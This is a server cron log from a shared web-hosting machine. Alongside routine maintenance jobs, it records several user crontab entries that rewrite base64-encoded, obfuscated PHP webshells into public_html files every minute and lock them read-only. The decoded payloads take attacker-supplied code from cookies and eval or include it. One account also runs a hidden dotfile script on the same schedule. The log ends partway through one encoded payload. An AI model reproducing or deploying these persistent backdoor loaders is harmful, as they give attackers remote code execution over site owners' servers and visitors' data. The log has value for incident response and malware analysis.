Mar  1 17:09:01 medusa CROND[929]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:10:01 medusa CROND[22084]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 17:10:01 medusa CROND[22091]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:10:01 medusa CROND[22152]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 17:10:02 medusa CROND[22286]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 17:10:02 medusa CROND[22287]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 17:10:02 medusa CROND[22288]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 17:10:02 medusa CROND[22289]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 17:10:02 medusa CROND[22292]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:10:02 medusa CROND[22290]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:10:02 medusa CROND[22297]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:10:02 medusa CROND[22296]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 17:10:02 medusa CROND[22299]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 17:10:02 medusa CROND[22302]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:10:02 medusa CROND[22304]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:10:02 medusa CROND[22306]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:10:02 medusa CROND[22318]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:10:02 medusa CROND[22310]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 17:10:02 medusa CROND[22321]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:10:02 medusa CROND[22323]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 17:10:02 medusa CROND[22324]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 17:10:02 medusa CROND[22314]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 17:10:02 medusa CROND[22329]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:10:02 medusa CROND[22337]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:10:02 medusa CROND[22322]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 17:10:02 medusa CROND[22335]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 17:10:02 medusa CROND[22338]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 17:10:02 medusa CROND[22319]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 17:10:02 medusa CROND[22320]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 17:11:01 medusa CROND[10402]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:11:01 medusa CROND[10406]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 17:11:01 medusa CROND[10606]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 17:11:01 medusa CROND[10607]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:11:01 medusa CROND[10608]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:11:01 medusa CROND[10609]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:11:01 medusa CROND[10610]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:11:01 medusa CROND[10611]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:11:01 medusa CROND[10612]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:11:01 medusa CROND[10615]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:11:01 medusa CROND[10617]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:11:01 medusa CROND[10618]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4